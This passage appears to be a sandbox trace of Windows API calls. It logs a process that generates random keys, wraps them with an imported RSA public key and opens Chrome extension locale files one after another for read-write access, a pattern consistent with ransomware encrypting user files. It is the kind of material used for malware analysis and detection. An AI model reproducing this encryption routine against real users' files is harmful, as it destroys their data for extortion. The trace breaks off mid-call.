CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.101] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ad5f8) returned 1 [0240.101] CryptGetKeyParam (in: hKey=0x66ad5f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.101] CryptEncrypt (in: hKey=0x66ad5f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa530000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa530000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.101] GetLastError () returned 0x0 [0240.101] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.101] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.102] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.104] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.106] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.106] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.106] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.106] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.108] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.110] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.110] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.110] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.110] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0240.112] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ad6b8) returned 1 [0240.112] CryptGetKeyParam (in: hKey=0x66ad6b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.112] CryptEncrypt (in: hKey=0x66ad6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa540000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa540000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.112] GetLastError () returned 0x0 [0240.112] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0240.112] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.114] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ad378) returned 1 [0240.117] CryptGetKeyParam (in: hKey=0x66ad378, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.117] CryptEncrypt (in: hKey=0x66ad378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa550000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa550000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.118] GetLastError () returned 0x0 [0240.118] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.118] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.119] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.121] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.122] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.123] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.123] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.123] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.125] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.127] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.127] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.127] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.127] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0240.129] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ad0f8) returned 1 [0240.129] CryptGetKeyParam (in: hKey=0x66ad0f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.129] CryptEncrypt (in: hKey=0x66ad0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa560000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa560000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.129] GetLastError () returned 0x0 [0240.129] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0240.129] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0240.131] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ad3f8) returned 1 [0240.131] CryptGetKeyParam (in: hKey=0x66ad3f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.131] CryptEncrypt (in: hKey=0x66ad3f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa570000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa570000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.131] GetLastError () returned 0x0 [0240.131] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.131] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.132] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0240.134] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.136] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.136] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.136] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.136] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.138] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.140] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.144] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.144] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.145] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0240.147] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ad1b8) returned 1 [0240.147] CryptGetKeyParam (in: hKey=0x66ad1b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.147] CryptEncrypt (in: hKey=0x66ad1b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa580000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa580000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.147] GetLastError () returned 0x0 [0240.147] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0240.147] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0240.149] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ad538) returned 1 [0240.149] CryptGetKeyParam (in: hKey=0x66ad538, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.149] CryptEncrypt (in: hKey=0x66ad538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa590000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa590000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.149] GetLastError () returned 0x0 [0240.149] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.149] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.150] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0240.153] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.154] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.155] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.155] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.155] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0240.157] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.159] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.159] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.159] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0240.159] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.161] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ad578) returned 1 [0240.161] CryptGetKeyParam (in: hKey=0x66ad578, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.161] CryptEncrypt (in: hKey=0x66ad578, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa5a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa5a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.161] GetLastError () returned 0x0 [0240.161] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.161] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0240.163] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ad778) returned 1 [0240.163] CryptGetKeyParam (in: hKey=0x66ad778, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.163] CryptEncrypt (in: hKey=0x66ad778, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa5b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa5b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.163] GetLastError () returned 0x0 [0240.163] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0240.163] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.164] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.166] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.168] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.168] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.168] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.168] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.170] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.172] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.172] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.172] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.173] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0240.175] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ad638) returned 1 [0240.175] CryptGetKeyParam (in: hKey=0x66ad638, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.175] CryptEncrypt (in: hKey=0x66ad638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa5c0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa5c0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.175] GetLastError () returned 0x0 [0240.175] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.175] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.177] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ad7b8) returned 1 [0240.177] CryptGetKeyParam (in: hKey=0x66ad7b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.177] CryptEncrypt (in: hKey=0x66ad7b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa5d0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa5d0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.177] GetLastError () returned 0x0 [0240.177] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.177] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.178] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0240.180] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.182] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.182] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.182] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.182] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0240.184] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.185] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.186] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.186] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0240.186] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.188] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66addb8) returned 1 [0240.188] CryptGetKeyParam (in: hKey=0x66addb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.188] CryptEncrypt (in: hKey=0x66addb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa5e0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa5e0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.189] GetLastError () returned 0x0 [0240.189] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.189] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.190] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ade78) returned 1 [0240.190] CryptGetKeyParam (in: hKey=0x66ade78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.190] CryptEncrypt (in: hKey=0x66ade78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa5f0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa5f0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.191] GetLastError () returned 0x0 [0240.191] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.191] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.191] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0240.193] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.195] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.195] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.195] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.195] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0240.197] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.199] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.199] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.199] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0240.199] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.201] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66adab8) returned 1 [0240.201] CryptGetKeyParam (in: hKey=0x66adab8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.201] CryptEncrypt (in: hKey=0x66adab8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa600000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa600000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.201] GetLastError () returned 0x0 [0240.201] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.202] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.203] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66adff8) returned 1 [0240.203] CryptGetKeyParam (in: hKey=0x66adff8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: 